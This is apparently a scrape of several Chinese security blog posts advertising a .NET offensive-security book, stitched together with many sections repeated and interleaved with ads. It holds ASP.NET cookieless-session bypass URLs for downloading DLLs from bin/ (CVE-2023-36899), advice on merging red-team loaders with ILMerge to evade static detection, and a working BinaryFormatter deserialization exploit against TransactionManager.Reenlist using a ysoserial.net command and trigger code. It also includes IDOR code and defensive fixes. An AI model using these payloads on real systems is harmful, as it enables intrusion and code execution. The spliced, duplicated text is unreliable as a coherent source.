http://target/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx

利用路径混淆干扰安全防护设备识别，该技巧在绕过传统 WAF 和路径白名单场景中表现尤为突出。

CVE-2023-36899 可以无访问控制限制的 bin/ 或 App_Data/ 等敏感目录，比如攻击者构造以下 URL：

http://host/(S(session-id))/b/(S(session-id))in/WebForms2.dll

.NET会自动解析 SessionID 并还原实际路径，从而允许对目录下的敏感文件进行下载操作。

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

从修复角度来看，cookieless 所带来的风险并不复杂，但其影响却可能非常深远。真正有效的修复，并不是针对某一个绕过技巧进行封堵，而是从根本上消除 URL 承载会话标识这一设计缺陷。

 Web 环境中，应明确禁用 cookieless 机制，统一采用基于 Cookie 的会话管理方式，并为 Cookie 配置 HttpOnly、Secure 与 SameSite 等安全属性，确保会话凭证在传输与客户端环境中的安全性。

<system.web><sessionState cookieless="false"/>
</system.web>

同时，应在 Web 服务器层面强化对 bin、App_Data 等敏感目录的访问控制，避免依赖应用层字符串匹配进行路径判断。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计超1000页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

跳转微信打开

在Web安全对抗过程中，安全人员往往会聚焦于身份验证逻辑、输入验证、SQL 注入或文件上传等核心高危区域。但一些配置项层面的疏忽，往往隐藏着攻击面更广、危害更持久的风险。

本文将聚焦 .NET 的 cookieless 配置项，从配置机制到绕过技术，再到现实漏洞案例，深入剖析这种非 Cookie 会话机制如何被滥用，造成 DLL 泄露与身份绕过等严重后果。

更详细知识点已收录于新书《.NET安全攻防指南》，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

在.NET中，Cookieless 是一种会话状态管理的选项，用于控制Session ID用户会话标识符的传递方式。通常会话状态信息是通过使用浏览器的Cookie来存储和传递的，但在一些情况下，可能因为浏览器配置或安全设置等原因无法使用Cookie。

在默认配置下，.NET 与大多数 Web 框架一样，使用浏览器 Cookie 存储 Session ID，例如：

Cookie: ASP.NET_SessionId=xyz123

当将 <sessionState cookieless="true" /> 配置开启后，.NET 不再依赖 Cookie，而是将 SessionID 注入进 URL 地址中，形成如下格式：

http://target-app/(S(session-id))/default.aspx

这种机制是为了兼容客户端不支持 Cookie 的情况而设计的。但在 Web 安全环境中，这种设计显然存在以下重大安全隐患。

2.1 会话标识明文泄露

由于 SessionID 被嵌入在 URL 中，所有跳转、链接、日志、Referer 中都可能携带完整的 (S(session-id)) 信息：

GET /uploads/(S(ybgzoikr52kbbdy5lfoqnnsl))/file.aspx HTTP/1.1

攻击者只需从日志、HTTP Referer 或浏览器历史记录中读取 SessionID，即可直接复用受害者的会话，造成会话劫持（Session Hijacking）。

2.2 DLL泄露下载

在红队实战中，如果遇到以下授权保护页面，尝试访问会触发 Windows 身份认证弹窗拦截。

以前可能就放弃或者找其他的解决办法，现在可以用URL会话ID的方式绕过，常用的Bypass Payload如下

http://target/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx

利用路径混淆干扰安全防护设备识别，该技巧在绕过传统 WAF 和路径白名单场景中表现尤为突出。

CVE-2023-36899 可以无访问控制限制的 bin/ 或 App_Data/ 等敏感目录，比如攻击者构造以下 URL：

http://host/(S(session-id))/b/(S(session-id))in/WebForms2.dll

.NET会自动解析 SessionID 并还原实际路径，从而允许对目录下的敏感文件进行下载操作。

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

从修复角度来看，cookieless 所带来的风险并不复杂，但其影响却可能非常深远。真正有效的修复，并不是针对某一个绕过技巧进行封堵，而是从根本上消除 URL 承载会话标识这一设计缺陷。

 Web 环境中，应明确禁用 cookieless 机制，统一采用基于 Cookie 的会话管理方式，并为 Cookie 配置 HttpOnly、Secure 与 SameSite 等安全属性，确保会话凭证在传输与客户端环境中的安全性。

<system.web><sessionState cookieless="false"/>
</system.web>

同时，应在 Web 服务器层面强化对 bin、App_Data 等敏感目录的访问控制，避免依赖应用层字符串匹配进行路径判断。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计超1000页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

跳转微信打开

在进行 .NET 应用程序的安全审计时，密码存储逻辑是一个至关重要的环节。密码作为用户认证的核心凭证，一旦被不当存储，将可能导致整个系统的安全性失效。

在过去的安全事件中，我们反复看到某些系统因为以 纯文本形式存储密码，被攻击者入侵数据库后直接窃取了所有用户凭证。这种情况下，攻击者无需任何技术手段即可直接使用数据库中导出的明文密码，导致大规模的用户账号被盗。

更详细知识点已收录于新书《.NET安全攻防指南》，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

IDOR 全称 Insecure Direct Object Reference，中文译为：不安全直接对象引用，是一种在应用程序安全领域里十分常见，却又往往被开发者忽视的逻辑漏洞。本质问题在于：应用程序将 内部资源的标识符直接暴露给外部用户，但却缺乏必要的访问控制校验，从而导致攻击者通过篡改参数，就可以访问到原本不属于自己的敏感数据或操作对象。

想象你去快递公司取包裹，柜台小哥直接告诉你：“这是取件码，你只要输入快递单号就能拿到包裹。” 如果这个系统没有验证“你是不是这单的收件人”，那么只要有人知道或猜中你的快递单号，就可以冒领你的包裹。这就是 IDOR 的现实类比 ——系统没有做“身份绑定校验”，仅仅依赖于“标识符唯一性”来区分资源。

在 .NET Core 或其他 Web 框架中，常见的场景就是通过 URL 参数、查询字符串或表单字段 传递数据库中的主键 ID。例如

[HttpGet("orders/{id}")]
public IActionResult GetOrder(int id)
{
var order = _context.Orders.Find(id);
return Ok(order);
}

在这个端点里，开发者假设用户请求 /orders/123 时，系统就会去数据库查找 OrderId = 123 的订单并返回结果。然而问题在于：应用程序并没有校验当前用户是否是 OrderId = 123 的合法拥有者。

如果攻击者手里有一个合法订单 ID 1001，那么他完全可以尝试访问 /orders/1002、/orders/1003，甚至通过脚本自动化枚举所有可能的订单号，从而获取到其他用户的隐私信息。

在理解了 IDOR 漏洞原理、红队实战利用方式以及代码审计中发现的问题后，接下来的核心任务就是如何防御。从软件开发和安全运维的角度来看，防御 IDOR 并不是简单地“隐藏 ID”或“前端限制”，而是需要全链路、全流程的安全设计。

最根本的策略是：在每一次对象访问时，都要校验当前用户是否有权限访问该对象。在 .NET Core + EF Core 中，推荐做法是结合用户身份信息进行查询：

var userId = User.FindFirst(ClaimTypes.NameIdentifier)?.Value;
var order = _context.Orders.FirstOrDefault(o => o.Id == id && o.UserId == userId);
if (order == null)
{
return Forbid(); 
}
return Ok(order);

通过查询条件将用户身份与对象绑定，防止枚举攻击，即使攻击者知道其他用户的订单 ID，也无法访问数据。

综上，IDOR 的核心是标识符暴露 + 缺乏访问控制。它不是框架漏洞，而是开发逻辑缺陷。通过红队实战、代码审计、批量验证与修复策略，可以让开发者全面理解这种漏洞的危害与防御方法。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

跳转微信打开

在进行 .NET 应用程序的安全审计时，密码存储逻辑是一个至关重要的环节。密码作为用户认证的核心凭证，一旦被不当存储，将可能导致整个系统的安全性失效。

在过去的安全事件中，我们反复看到某些系统因为以 纯文本形式存储密码，被攻击者入侵数据库后直接窃取了所有用户凭证。这种情况下，攻击者无需任何技术手段即可直接使用数据库中导出的明文密码，导致大规模的用户账号被盗。

更详细知识点已收录于新书《.NET安全攻防指南》，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

IDOR 全称 Insecure Direct Object Reference，中文译为：不安全直接对象引用，是一种在应用程序安全领域里十分常见，却又往往被开发者忽视的逻辑漏洞。本质问题在于：应用程序将 内部资源的标识符直接暴露给外部用户，但却缺乏必要的访问控制校验，从而导致攻击者通过篡改参数，就可以访问到原本不属于自己的敏感数据或操作对象。

想象你去快递公司取包裹，柜台小哥直接告诉你：“这是取件码，你只要输入快递单号就能拿到包裹。” 如果这个系统没有验证“你是不是这单的收件人”，那么只要有人知道或猜中你的快递单号，就可以冒领你的包裹。这就是 IDOR 的现实类比 ——系统没有做“身份绑定校验”，仅仅依赖于“标识符唯一性”来区分资源。

在 .NET Core 或其他 Web 框架中，常见的场景就是通过 URL 参数、查询字符串或表单字段 传递数据库中的主键 ID。例如

[HttpGet("orders/{id}")]
public IActionResult GetOrder(int id)
{
var order = _context.Orders.Find(id);
return Ok(order);
}

在这个端点里，开发者假设用户请求 /orders/123 时，系统就会去数据库查找 OrderId = 123 的订单并返回结果。然而问题在于：应用程序并没有校验当前用户是否是 OrderId = 123 的合法拥有者。

如果攻击者手里有一个合法订单 ID 1001，那么他完全可以尝试访问 /orders/1002、/orders/1003，甚至通过脚本自动化枚举所有可能的订单号，从而获取到其他用户的隐私信息。

在理解了 IDOR 漏洞原理、红队实战利用方式以及代码审计中发现的问题后，接下来的核心任务就是如何防御。从软件开发和安全运维的角度来看，防御 IDOR 并不是简单地“隐藏 ID”或“前端限制”，而是需要全链路、全流程的安全设计。

最根本的策略是：在每一次对象访问时，都要校验当前用户是否有权限访问该对象。在 .NET Core + EF Core 中，推荐做法是结合用户身份信息进行查询：

var userId = User.FindFirst(ClaimTypes.NameIdentifier)?.Value;
var order = _context.Orders.FirstOrDefault(o => o.Id == id && o.UserId == userId);
if (order == null)
{
return Forbid(); 
}
return Ok(order);

通过查询条件将用户身份与对象绑定，防止枚举攻击，即使攻击者知道其他用户的订单 ID，也无法访问数据。

综上，IDOR 的核心是标识符暴露 + 缺乏访问控制。它不是框架漏洞，而是开发逻辑缺陷。通过红队实战、代码审计、批量验证与修复策略，可以让开发者全面理解这种漏洞的危害与防御方法。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

阅读原文

跳转微信打开

在实战中，如何将工具隐匿、最小化痕迹、减少依赖、提高部署成功率，是提升作战效率的关键环节。尤其是在需要对目标环境投递自定义 .NET 工具时，过多的 DLL 文件不仅容易引起注意，也可能在传输或落地过程中丢失依赖、触发告警，极大降低了有效打点率。

为此，本文介绍一款被频繁使用的打包整合工具 —— ILMerge，其能够将多个 .NET 程序集合并为单个 EXE 或 DLL 文件，是构建“自解式、免依赖、便于混淆”的红队武器的核心手段之一。

更详细知识点已收录于新书《.NET安全攻防指南》第18.4节，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买，如下图所示。

ILMerge，全称 Intermediate Language Merger ，是一个由微软研究院发布的命令行工具，支持将多个 .NET 程序集合并为一个单独的可执行程序或库文件。

1.1 获取 ILMerge

推荐通过 NuGet 获取最新版 ILMerge 工具，具体命令如下所示。

Install-Package ilmerge -Version 3.0.29

实际上我们应该从https://www.nuget.org/packages/ilmerge/获取，其GitHub地址为https://github.com/dotnet/ILMerge，包含了较为详细的文档。或者直接在VisualStudio中使用NuGet包管理下载安装即可。

1.2 红队使用场景

自开发工具打包发布，比如 C2 客户端、内存加载器；将第三方组件如 Newtonsoft.Json、SharpSploit 封装到 payload 中；实现 Dropper、Loader 的单文件化打包后整体混淆，规避静态查杀。

安装后，可以在当前的VisualStudio项目package文件夹下找到对应的可执行文件ILMerge.exe，如图所示。

1.3 常用参数说明

ILMerge 是一个命令行工具，需要注意指定.Net版本，其命令行参数比较复杂，我们直接在命令提示符下运行，从输出的内容上可见命令参数及使用说明，如下图所示。

工具提供了很多的命令参数，这里仅对合并程序集时用到的参数做个简要说明，如表所示。

以下以一个名为 LineDDA.exe 的程序为例，与 Newtonsoft.Json.dll 等依赖项合并为一个新程序，合并命令如下所示。

ILMerge.exe /log /ndebug /targetplatform:4.0,"C:\Windows\Microsoft.NET\Framework64\v4.0.30319"/out:"D:\test\new.exe""D:\History\Debug\LineDDA.exe""D:\History\Debug\Newtonsoft.Json.dll""D:\History\Debug\System.Diagnostics.DiagnosticSource.dll"

运行后，会在指定路径生成一个新的 new.exe 文件，其体积约为 796KB。合并成功后，可以像普通程序一样执行，并且包含了原先所有依赖的功能。

对生成后的new.exe文件进行功能性完整测试，尝试执行一段编码后的shellcode，符合预期成功启动了本地计算器，如下图所示。

接着，我们可以使用dnspy.exe进行逆向分析，查看合并之后的new.exe文件，在工具的左侧资源管理器中出现Newtonsoft.Json命名空间，说明已经将Newtonsoft.Json.dll成功嵌入到可执行文件，如下图所示。

另外ILMerge还有一个GUI版本，但研究发现合并后生成的可执行文件，运行时抛出异常错误，有读者感兴趣的话可以自行深入研究，如下图所示。

综上，ILMerge 是隐藏 .NET 工具的第一步。通过合并 DLL、封装依赖、压缩结构，不仅提高了部署效率，更大幅增强了对抗静态查杀与人工分析的能力。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

阅读原文

跳转微信打开

在实战中，如何将工具隐匿、最小化痕迹、减少依赖、提高部署成功率，是提升作战效率的关键环节。尤其是在需要对目标环境投递自定义 .NET 工具时，过多的 DLL 文件不仅容易引起注意，也可能在传输或落地过程中丢失依赖、触发告警，极大降低了有效打点率。

为此，本文介绍一款被频繁使用的打包整合工具 —— ILMerge，其能够将多个 .NET 程序集合并为单个 EXE 或 DLL 文件，是构建“自解式、免依赖、便于混淆”的红队武器的核心手段之一。

更详细知识点已收录于新书《.NET安全攻防指南》第18.4节，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买，如下图所示。

ILMerge，全称 Intermediate Language Merger ，是一个由微软研究院发布的命令行工具，支持将多个 .NET 程序集合并为一个单独的可执行程序或库文件。

1.1 获取 ILMerge

推荐通过 NuGet 获取最新版 ILMerge 工具，具体命令如下所示。

Install-Package ilmerge -Version 3.0.29

实际上我们应该从https://www.nuget.org/packages/ilmerge/获取，其GitHub地址为https://github.com/dotnet/ILMerge，包含了较为详细的文档。或者直接在VisualStudio中使用NuGet包管理下载安装即可。

1.2 红队使用场景

自开发工具打包发布，比如 C2 客户端、内存加载器；将第三方组件如 Newtonsoft.Json、SharpSploit 封装到 payload 中；实现 Dropper、Loader 的单文件化打包后整体混淆，规避静态查杀。

安装后，可以在当前的VisualStudio项目package文件夹下找到对应的可执行文件ILMerge.exe，如图所示。

1.3 常用参数说明

ILMerge 是一个命令行工具，需要注意指定.Net版本，其命令行参数比较复杂，我们直接在命令提示符下运行，从输出的内容上可见命令参数及使用说明，如下图所示。

工具提供了很多的命令参数，这里仅对合并程序集时用到的参数做个简要说明，如表所示。

以下以一个名为 LineDDA.exe 的程序为例，与 Newtonsoft.Json.dll 等依赖项合并为一个新程序，合并命令如下所示。

ILMerge.exe /log /ndebug /targetplatform:4.0,"C:\Windows\Microsoft.NET\Framework64\v4.0.30319"/out:"D:\test\new.exe""D:\History\Debug\LineDDA.exe""D:\History\Debug\Newtonsoft.Json.dll""D:\History\Debug\System.Diagnostics.DiagnosticSource.dll"

运行后，会在指定路径生成一个新的 new.exe 文件，其体积约为 796KB。合并成功后，可以像普通程序一样执行，并且包含了原先所有依赖的功能。

对生成后的new.exe文件进行功能性完整测试，尝试执行一段编码后的shellcode，符合预期成功启动了本地计算器，如下图所示。

接着，我们可以使用dnspy.exe进行逆向分析，查看合并之后的new.exe文件，在工具的左侧资源管理器中出现Newtonsoft.Json命名空间，说明已经将Newtonsoft.Json.dll成功嵌入到可执行文件，如下图所示。

另外ILMerge还有一个GUI版本，但研究发现合并后生成的可执行文件，运行时抛出异常错误，有读者感兴趣的话可以自行深入研究，如下图所示。

综上，ILMerge 是隐藏 .NET 工具的第一步。通过合并 DLL、封装依赖、压缩结构，不仅提高了部署效率，更大幅增强了对抗静态查杀与人工分析的能力。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

阅读原文

跳转微信打开

在分布式系统架构中，事务一致性是保障数据可靠性的核心支柱。.NET框架提供的System.Transactions命名空间，通过TransactionManager类实现了分布式事务的统一管理，支持多个资源管理器参与同一事务，确保操作的原子性、一致性、隔离性与持久性。

TransactionManager.Reenlist方法作为分布式事务恢复机制的关键组成部分，负责在事务崩溃或网络中断等异常场景下，重新注册事务参与者，以恢复事务状态并完成后续的提交或回滚操作。

然而，该方法内部存在高危安全隐患，通过BinaryFormatter组件对未经验证的二进制输入数据进行反序列化，本文将从Reenlist方法的核心功能入手，深入剖析反序列化漏洞的形成原理，详细讲解攻击载荷的构造方法与漏洞利用流程，并给出针对性的防御方案，帮助读者全面理解该漏洞的危害与防护要点。本文内容节选自《.NET安全攻防指南》一书 第17章 .NET反序列化漏洞插件，感兴趣的读者可进一步阅读本书获取更多安全研究内容。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

在 .NET 框架中，System.Transactions.TransactionManager 负责管理分布式事务，允许多个资源管理器参与同一个事务，并保证它们的一致性。其中，TransactionManager.Reenlist方法用于在事务崩溃或中断后重新注册事务的参与者，确保事务状态得以恢复。

例如，当数据库事务因网络中断而未能正确提交，事务管理器可在系统恢复后重新注册该事务，并尝试提交或回滚操作。然而，该方法的 byte[] 参数为二进制序列化数据。使用 BinaryFormatter 进行反序列化，这为漏洞提供了一个利用点：如果传入恶意序列化数据，则可能导致代码执行漏洞。

BinaryFormatter是.NET框架中用于对象序列化与反序列化的核心组件，其设计初衷是为了实现.NET对象的快速序列化与传输。

但该组件存在一个致命的安全缺陷：在反序列化过程中，会自动创建指定类型的实例并执行其构造函数、序列化回调方法，如OnDeserialized等代码。这意味着，若能够控制反序列化的输入数据，构造恶意的序列化对象，就可以诱导BinaryFormatter在反序列化过程中执行任意恶意代码。

所以，微软官方已明确将BinaryFormatter标记为不安全组件，并在.NET 5及以上版本中限制其使用，同时推荐使用Protobuf等更安全的序列化方案。

在 TransactionManager.Reenlist 方法内部，核心处理逻辑如下，首先创建 MemoryStream：该方法首先使用 MemoryStream 读取传入的二进制数据，随后，从流中读取一个 32 位整数，并检查其值是否为 1。如果不满足，则不会进入后续处理逻辑。当 num == 1 时，进入 ReenlistTransaction 进行事务恢复。该方法最终调用 BinaryFormatter 进行反序列化，从而加载事务对象。

手动构造BinaryFormatter的恶意序列化载荷难度较高，需深入理解.NET对象的序列化格式与各类恶意 gadgets。在实际安全研究中，通常使用开源工具ysoserial.net来快速生成各类序列化漏洞的攻击载荷。

ysoserial.net是一款专门针对.NET序列化漏洞的载荷生成工具，支持生成基于BinaryFormatter等多种序列化组件的恶意载荷，内置了大量成熟的gadget链，比如TextFormattingRunProperties、TypeConfuseDelegate等。

针对本次漏洞，我们选择TextFormattingRunProperties gadget链生成恶意载荷，该gadget链兼容性强，可在多个.NET Framework版本中生效。生成载荷的命令如下：

ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c calc

上述命令将生成一个 Base64 编码的恶意载荷，该载荷在反序列化时会触发 calc.exe 执行，生成的攻击载荷如图所示。

图yso生成BinaryFormatter载荷

然后对payload进行解码得到二进制数据serializedData，将额外的信息添加到之前的事务注册数据中，具体实现代码如下所示。

byte[] serializedData = Convert.FromBase64String(payload);byte[] newSerializedData =newbyte[serializedData.Length +5]; 	serializedData.CopyTo(newSerializedData,5);newSerializedData[0]=1;TestMe myTransactionEnlistment =newTestMe();TransactionManager.Reenlist(Guid.NewGuid(), newSerializedData, 	myTransactionEnlistment);

最后调用TransactionManager.Reenlist方法重新注册事务参与者触发反序列化漏洞。

Reenlist方法通过创建一个MemoryStream对象来读取传入的序列化数据，然后使用binaryReader从流中读取一个32位整数值，并将其存储在变量num中，并且检查整数值是否为1，也就是说第一位字节码必须是1，因此在重组事务数据时使用了newSerializedData[0]=1，如图所示。

图重组事务数据第1位字节码

接着调用oletxTransactionManager.ReenlistTransaction方法，用于有效性检查和获取相关资源，便于重新注册事务，如图所示。

图ReenlistTransaction方法重新注册事务

从图上调试显示进入核心方法oletxResourceManager.Reenlist，内部调用了BinaryFormatter格式化器formatter，用于反序列化恢复事务对象信息，也因此加载恶意的攻击载荷触发了反序列化漏洞。调试运行时如图所示。

图运行时反序列化启动本地计算器

本文围绕TransactionManager.Reenlist方法的反序列化漏洞展开，从方法功能、漏洞原理、攻击利用到防御方案进行了全面解析。该漏洞的核心成因是使用了不安全的BinaryFormatter组件对未经验证的输入数据进行反序列化，攻击者通过构造恶意载荷并绕过简单校验，即可执行任意代码。

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

针对TransactionManager.Reenlist方法的反序列化漏洞，需从组件替换、输入校验、版本升级等多个维度构建防御体系，彻底阻断攻击路径。

以下是具体的防御方案，最根本的防御措施是替换BinaryFormatter这一不安全组件。对于需要序列化/反序列化的场景，推荐使用以下安全的序列化方案：

• System.Text.Json：.NET Core 3.0及以上版本内置的序列化组件，仅支持预定义类型的序列化，不支持任意类型的反序列化，安全性更高；

• Protobuf（Protocol Buffers）：谷歌开源的序列化框架，采用二进制编码，具有高效、紧凑、类型安全的特点，需预先定义数据结构，可有效防止恶意类型注入；

• MessagePack：基于二进制的高效序列化格式，支持多种编程语言，同样需要预定义数据结构，安全性优于BinaryFormatter。

建议微软在.NET Core 3.0及以上版本、.NET 5及以上版本中，对组件进行了安全优化，从源头修复了该漏洞。因此，对于使用旧版本.NET Framework的应用，建议尽快升级到.NET Core 3.1、.NET 6或更高版本，以获得官方的安全保障。

以上知识点已收录于新书《.NET安全攻防指南》，并且有完整详细的介绍，如下图所示。全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；

下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

阅读原文

跳转微信打开

在分布式系统架构中，事务一致性是保障数据可靠性的核心支柱。.NET框架提供的System.Transactions命名空间，通过TransactionManager类实现了分布式事务的统一管理，支持多个资源管理器参与同一事务，确保操作的原子性、一致性、隔离性与持久性。

TransactionManager.Reenlist方法作为分布式事务恢复机制的关键组成部分，负责在事务崩溃或网络中断等异常场景下，重新注册事务参与者，以恢复事务状态并完成后续的提交或回滚操作。

然而，该方法内部存在高危安全隐患，通过BinaryFormatter组件对未经验证的二进制输入数据进行反序列化，本文将从Reenlist方法的核心功能入手，深入剖析反序列化漏洞的形成原理，详细讲解攻击载荷的构造方法与漏洞利用流程，并给出针对性的防御方案，帮助读者全面理解该漏洞的危害与防护要点。本文内容节选自《.NET安全攻防指南》一书 第17章 .NET反序列化漏洞插件，感兴趣的读者可进一步阅读本书获取更多安全研究内容。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

在 .NET 框架中，System.Transactions.TransactionManager 负责管理分布式事务，允许多个资源管理器参与同一个事务，并保证它们的一致性。其中，TransactionManager.Reenlist方法用于在事务崩溃或中断后重新注册事务的参与者，确保事务状态得以恢复。

例如，当数据库事务因网络中断而未能正确提交，事务管理器可在系统恢复后重新注册该事务，并尝试提交或回滚操作。然而，该方法的 byte[] 参数为二进制序列化数据。使用 BinaryFormatter 进行反序列化，这为漏洞提供了一个利用点：如果传入恶意序列化数据，则可能导致代码执行漏洞。

BinaryFormatter是.NET框架中用于对象序列化与反序列化的核心组件，其设计初衷是为了实现.NET对象的快速序列化与传输。

但该组件存在一个致命的安全缺陷：在反序列化过程中，会自动创建指定类型的实例并执行其构造函数、序列化回调方法，如OnDeserialized等代码。这意味着，若能够控制反序列化的输入数据，构造恶意的序列化对象，就可以诱导BinaryFormatter在反序列化过程中执行任意恶意代码。

所以，微软官方已明确将BinaryFormatter标记为不安全组件，并在.NET 5及以上版本中限制其使用，同时推荐使用Protobuf等更安全的序列化方案。

在 TransactionManager.Reenlist 方法内部，核心处理逻辑如下，首先创建 MemoryStream：该方法首先使用 MemoryStream 读取传入的二进制数据，随后，从流中读取一个 32 位整数，并检查其值是否为 1。如果不满足，则不会进入后续处理逻辑。当 num == 1 时，进入 ReenlistTransaction 进行事务恢复。该方法最终调用 BinaryFormatter 进行反序列化，从而加载事务对象。

手动构造BinaryFormatter的恶意序列化载荷难度较高，需深入理解.NET对象的序列化格式与各类恶意 gadgets。在实际安全研究中，通常使用开源工具ysoserial.net来快速生成各类序列化漏洞的攻击载荷。

ysoserial.net是一款专门针对.NET序列化漏洞的载荷生成工具，支持生成基于BinaryFormatter等多种序列化组件的恶意载荷，内置了大量成熟的gadget链，比如TextFormattingRunProperties、TypeConfuseDelegate等。

针对本次漏洞，我们选择TextFormattingRunProperties gadget链生成恶意载荷，该gadget链兼容性强，可在多个.NET Framework版本中生效。生成载荷的命令如下：

ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o base64 -c calc

上述命令将生成一个 Base64 编码的恶意载荷，该载荷在反序列化时会触发 calc.exe 执行，生成的攻击载荷如图所示。

图yso生成BinaryFormatter载荷

然后对payload进行解码得到二进制数据serializedData，将额外的信息添加到之前的事务注册数据中，具体实现代码如下所示。

byte[] serializedData = Convert.FromBase64String(payload);byte[] newSerializedData =newbyte[serializedData.Length +5]; 	serializedData.CopyTo(newSerializedData,5);newSerializedData[0]=1;TestMe myTransactionEnlistment =newTestMe();TransactionManager.Reenlist(Guid.NewGuid(), newSerializedData, 	myTransactionEnlistment);

最后调用TransactionManager.Reenlist方法重新注册事务参与者触发反序列化漏洞。

Reenlist方法通过创建一个MemoryStream对象来读取传入的序列化数据，然后使用binaryReader从流中读取一个32位整数值，并将其存储在变量num中，并且检查整数值是否为1，也就是说第一位字节码必须是1，因此在重组事务数据时使用了newSerializedData[0]=1，如图所示。

图重组事务数据第1位字节码

接着调用oletxTransactionManager.ReenlistTransaction方法，用于有效性检查和获取相关资源，便于重新注册事务，如图所示。

图ReenlistTransaction方法重新注册事务

从图上调试显示进入核心方法oletxResourceManager.Reenlist，内部调用了BinaryFormatter格式化器formatter，用于反序列化恢复事务对象信息，也因此加载恶意的攻击载荷触发了反序列化漏洞。调试运行时如图所示。

图运行时反序列化启动本地计算器

本文围绕TransactionManager.Reenlist方法的反序列化漏洞展开，从方法功能、漏洞原理、攻击利用到防御方案进行了全面解析。该漏洞的核心成因是使用了不安全的BinaryFormatter组件对未经验证的输入数据进行反序列化，攻击者通过构造恶意载荷并绕过简单校验，即可执行任意代码。

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

针对TransactionManager.Reenlist方法的反序列化漏洞，需从组件替换、输入校验、版本升级等多个维度构建防御体系，彻底阻断攻击路径。

